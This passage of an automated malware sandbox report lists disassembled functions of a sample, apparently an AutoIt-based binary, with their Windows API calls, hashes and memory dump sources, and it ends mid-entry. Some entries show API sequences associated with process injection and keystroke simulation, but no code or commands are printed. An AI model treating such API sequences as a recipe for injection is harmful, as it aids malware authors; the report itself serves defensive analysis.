Instruction ID: 073380a62565e16b683cab6111d28fc5008c6a0ece6b4238fae8b0c20e86bf51
Opcode Fuzzy Hash: fc76aad4317558b3b3a07d51067be3ccc659b3308420a2f87b04c6f1d7c78196
Instruction Fuzzy Hash: 93F0F43140025E66CB10AAAAED019DE77ECDF02315F101526FD18B6292EFB09A84D2D1

Function 00EE55FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00EE562C
__lock_file.LIBCMT ref: 00EE564D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: a998616a390b89b9294c79a382db6cdd2798034d4fda46ff1dcc8038cac818e8
Instruction ID: 1bb1d0e643c95ebd24d5e70cfa98f5d94d9a0bb98f6ce0416ff080b208f763e5
Opcode Fuzzy Hash: a998616a390b89b9294c79a382db6cdd2798034d4fda46ff1dcc8038cac818e8
Instruction Fuzzy Hash: 2F01FC72C00A8DEBCF11AFA79D024AE7BB1BF90365F505115F41836191DB318911DF91

Function 00EE53A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00EE8B28: __getptd_noexit.LIBCMT ref: 00EE8B28

__lock_file.LIBCMT ref: 00EE53EB

Part of subcall function 00EE6C11: __lock.LIBCMT ref: 00EE6C34

__fclose_nolock.LIBCMT ref: 00EE53F6

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 0c2eae45e4cdff1eb6aabeefc55b96fe088a68641af6d02a1af412d3b41cc0d7
Instruction ID: aee216362dbaaa344a36d911fa6cefe71d17b7690b9ab478ffc6f5b76bbec841
Opcode Fuzzy Hash: 0c2eae45e4cdff1eb6aabeefc55b96fe088a68641af6d02a1af412d3b41cc0d7
Instruction Fuzzy Hash: 51F09632800A8C9AD7116B679D057AD77E06F41379F31A105A428BB1C5CFBC89415B52

Function 0162FBD5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01630405
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01630429
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0163044B

Memory Dump Source

Source File: 00000000.00000002.1470150124.000000000162E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0162E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_162e000_J8V6dFanEo.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
Instruction ID: 6a760ff7dff7711cf6ccd86d220af4b585cb9f4153c8610a480d4279176309fc
Opcode Fuzzy Hash: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
Instruction Fuzzy Hash: 3312CF24E14658C6EB24DF64D8507DEB232EF68300F1090E9910DEB7A5E77A4F85CF5A

Function 00EE0C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00EE0CB7

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 6192e8f818cae923d3c6948226d1b9c533c151268467331559dee0c2447bab6b
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 68311370A001499BC718DF4AC480A69F7A2FB49314B34A7A5E80AEB351E7B1EDC1DBC0

Function 00EFFCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00EFFCB7

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 69a7b4694cdd8fe099b42b27d526640b1132b759057e945945a9642f7258a3ea
Instruction ID: 2e37ac7b7688d2ec6a64a688c601c013dbd32a4221216c99a6022ed2dd1ebb03
Opcode Fuzzy Hash: 69a7b4694cdd8fe099b42b27d526640b1132b759057e945945a9642f7258a3ea
Instruction Fuzzy Hash: 854107746043458FDB24DF14C544F1ABBE1BF45318F0998ACE99AAB362C772E846CF52

Function 00EC4DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC4BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00EC4BEF

Part of subcall function 00EE525B: __wfsopen.LIBCMT ref: 00EE5266

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00F852F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00EC4E0F

Part of subcall function 00EC4B6A: FreeLibrary.KERNEL32(00000000), ref: 00EC4BA4

Part of subcall function 00EC4C70: _memmove.LIBCMT ref: 00EC4CBA

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 1d5bd7966aae94e14e6cdab2ba097680571659a90c7570e76237e9a732a43a0a
Instruction ID: 2dd0e937c518e8d15c3235a8fa4ac97ee66e0445099fe85bd09a244c2bd984f1
Opcode Fuzzy Hash: 1d5bd7966aae94e14e6cdab2ba097680571659a90c7570e76237e9a732a43a0a
Instruction Fuzzy Hash: B111E771600209ABCF15AFB0CD26FAD77E9AF44750F10942DFD41BB1C1DA729E069751

Function 00EFFD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00EFFD91

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 209616d0cd1a708acd0447a72b4e1feb5ea75cb116fc03a632fc22a92eca93c8
Instruction ID: e010cae2a6ae87a2d278443230db0e9e2f476930069ebfb9a792e7bf73432642
Opcode Fuzzy Hash: 209616d0cd1a708acd0447a72b4e1feb5ea75cb116fc03a632fc22a92eca93c8
Instruction Fuzzy Hash: C621F2746083459FCB14DF24C544F1ABBE1BF84318F09996CE98A67762D732E806DB92

Function 00F1F73D Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F1F778

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 1ae1c48679b6b2f114c07c9a019fded545236127864d2326fb7410a615e64069
Instruction ID: 098ca73e34ec96bb422e995e59bff5e83279cbe1bdd4a71517d6c55d1e415092
Opcode Fuzzy Hash: 1ae1c48679b6b2f114c07c9a019fded545236127864d2326fb7410a615e64069
Instruction Fuzzy Hash: 8D018176200225ABCB14DF2EDC919BBB7E9EF85364714843EE90ACB245E631E9418790

Function 00EE4863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00EE48A6

Part of subcall function 00EE8B28: __getptd_noexit.LIBCMT ref: 00EE8B28

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: b5ff1a0011c5185801c2a9f2e4c276e2f6d5aecf2ec28b262a50d0d60eb0ba67
Instruction ID: aacd043b6c4bb4125eca04dc33b935822a4f598c5d41c7e625035e5cd51f3713
Opcode Fuzzy Hash: b5ff1a0011c5185801c2a9f2e4c276e2f6d5aecf2ec28b262a50d0d60eb0ba67
Instruction Fuzzy Hash: 63F0F4718006CCABDF15AFA28C053DE36E0AF00324F10A404F41CB61C1CB788950DB45

Function 00EC4E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00F852F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00EC4E7E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: cadee79fe736bb5be3a7d10752c214e0c0238ca88f75ed1e191cc4637dc1cefe
Instruction ID: f03ddb4301b23b3daed67a0fcd7da2ac4bcd9700521465ae11327f6ea043fa93
Opcode Fuzzy Hash: cadee79fe736bb5be3a7d10752c214e0c0238ca88f75ed1e191cc4637dc1cefe
Instruction Fuzzy Hash: 10F0A9B1100711CFCB349F24E9A0D56BBF0BF103293219A3EE1DBAA660C3329841DF00

Function 00EE0791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00EE07B0

Part of subcall function 00EC7BCC: _memmove.LIBCMT ref: 00EC7C06

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 38d92b8720ab08af85a6d307c478d23a8c42b08b09e627599339fda820c73b4a
Instruction ID: 49050b2976fce859fc5af29c5b7151ced1f78994517aa3eac679234df5114a64
Opcode Fuzzy Hash: 38d92b8720ab08af85a6d307c478d23a8c42b08b09e627599339fda820c73b4a
Instruction Fuzzy Hash: CDE0863690512C5BC72096589C05FEA77DDDB897A0F0441B5FD0CD7204D9A1AD8086D0

Function 00F28E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00F28EC1

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: 897095aef67a5c5b2fbec5d8e682bffe018dbb6fc17fe23d83a41badb9833bc9
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: 53E092B1504B145BD7388A64D810BA373E1AB05314F00081DF2AA93241EF6278469759

Function 00EE525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00EE5266

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: ec4f32d6e399c870803152b731f38411a0a98911a5688f5f40fbf48e8355e835
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: C9B0927644020C77CE012A82EC02A493B699B45768F408020FB0C2C172A673A6649A89

Function 01630BD8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 01630BE9

Memory Dump Source

Source File: 00000000.00000002.1470150124.000000000162E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0162E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_162e000_J8V6dFanEo.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: a40ec4a22f7e7c5742cf41d8b6f3eeabc2a9518c915f0d791f0e790955a469cf
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: 39E0E67494420DDFDB00DFB4DA496DE7BB4EF04301F100161FD01D2280D6309D50CA62

Non-executed Functions

Function 00F4CABC Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC2612: GetWindowLongW.USER32(?,000000EB), ref: 00EC2623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00F4CB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00F4CB95
GetWindowLongW.USER32(?,000000F0), ref: 00F4CBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00F4CC00
SendMessageW.USER32 ref: 00F4CC29
_wcsncpy.LIBCMT ref: 00F4CC95
GetKeyState.USER32(00000011), ref: 00F4CCB6
GetKeyState.USER32(00000009), ref: 00F4CCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00F4CCD9
GetKeyState.USER32(00000010), ref: 00F4CCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00F4CD0C
SendMessageW.USER32 ref: 00F4CD33
SendMessageW.USER32(?,00001030,?,00F4B348), ref: 00F4CE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00F4CE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00F4CE60
SetCapture.USER32(?), ref: 00F4CE69
ClientToScreen.USER32(?,?), ref: 00F4CECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00F4CEDB
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00F4CEF5
ReleaseCapture.USER32 ref: 00F4CF00
GetCursorPos.USER32(?), ref: 00F4CF3A
ScreenToClient.USER32(?,?), ref: 00F4CF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 00F4CFA3
SendMessageW.USER32 ref: 00F4CFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 00F4D00E
SendMessageW.USER32 ref: 00F4D03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00F4D05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00F4D06D
GetCursorPos.USER32(?), ref: 00F4D08D
ScreenToClient.USER32(?,?), ref: 00F4D09A
GetParent.USER32(?), ref: 00F4D0BA
SendMessageW.USER32(?,00001012,00000000,?), ref: 00F4D123
SendMessageW.USER32 ref: 00F4D154
ClientToScreen.USER32(?,?), ref: 00F4D1B2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00F4D1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 00F4D20C
SendMessageW.USER32 ref: 00F4D22F
ClientToScreen.USER32(?,?), ref: 00F4D281
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00F4D2B5

Part of subcall function 00EC25DB: GetWindowLongW.USER32(?,000000EB), ref: 00EC25EC

GetWindowLongW.USER32(?,000000F0), ref: 00F4D351

Strings

@GUI_DRAGID, xrefs: 00F4CE9C
F, xrefs: 00F4D235

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: 3fb02778e89c2e40bdbe634f021269e403853f6b52d74122daf5c114532a6a04
Instruction ID: 874e4fb3b88cf87fbcf6dd84c82667be462f894178afdca9dfb8a72b6276c8e6
Opcode Fuzzy Hash: 3fb02778e89c2e40bdbe634f021269e403853f6b52d74122daf5c114532a6a04
Instruction Fuzzy Hash: AF429B38605245AFD724CF24CC88FAABFE5FF89720F141519FA59972A1C731D844EB92

Function 00ED6F9E Relevance: 52.3, APIs: 19, Strings: 8, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00ED71C3
_memset.LIBCMT ref: 00ED7539
_memmove.LIBCMT ref: 00ED76AC

Strings

_, xrefs: 00F123CB
[:<:]], xrefs: 00ED7479
DEFINE, xrefs: 00F12103
3c, xrefs: 00F123A0
\b(?<=\w), xrefs: 00F13773
Q\E, xrefs: 00ED7FCB
\b(?=\w), xrefs: 00F13769
[:>:]], xrefs: 00ED7492

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memmove$_memset
String ID: 3c$DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_
API String ID: 1357608183-3681475764
Opcode ID: ffceb2887481c6a558fee7036dcc498c80ffb4285ac9c58c1faac6efdbf50b64
Instruction ID: 0cbfb60d2c741a7cb7c98c131b5ebad2be2c520e2aa385211363557b5912a9c6
Opcode Fuzzy Hash: ffceb2887481c6a558fee7036dcc498c80ffb4285ac9c58c1faac6efdbf50b64
Instruction Fuzzy Hash: AF938075E042199BDB24CF98C881BEDB7B1FF48324F25816AE955AB381E7709DC2DB40

Function 00EC48D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 00EC48DF
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00EFD665
IsIconic.USER32(?), ref: 00EFD66E
ShowWindow.USER32(?,00000009), ref: 00EFD67B
SetForegroundWindow.USER32(?), ref: 00EFD685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00EFD69B
GetCurrentThreadId.KERNEL32 ref: 00EFD6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 00EFD6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00EFD6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 00EFD6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 00EFD6CF
SetForegroundWindow.USER32(?), ref: 00EFD6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 00EFD6E7
keybd_event.USER32(00000012,00000000), ref: 00EFD6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 00EFD6FC
keybd_event.USER32(00000012,00000000), ref: 00EFD701
MapVirtualKeyW.USER32(00000012,00000000), ref: 00EFD70A
keybd_event.USER32(00000012,00000000), ref: 00EFD70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 00EFD719
keybd_event.USER32(00000012,00000000), ref: 00EFD71E
SetForegroundWindow.USER32(?), ref: 00EFD721
AttachThreadInput.USER32(?,?,00000000), ref: 00EFD748

Strings

Shell_TrayWnd, xrefs: 00EFD660

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: d4a8986cfb34d488e80fc0640d1be7a2c85b5885f0443d744165f11b2ce200fe
Instruction ID: 1011561eae0fa0938c69b3f9d68a97cf75bd3cb510497c00ecd65d25b9ee8b45
Opcode Fuzzy Hash: d4a8986cfb34d488e80fc0640d1be7a2c85b5885f0443d744165f11b2ce200fe
Instruction Fuzzy Hash: 4F31B275A4031CBBEB202BA18C49F7F3E6DEB55B50F114026FE08FA1D0CAB05810BAA0

Function 00F18310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

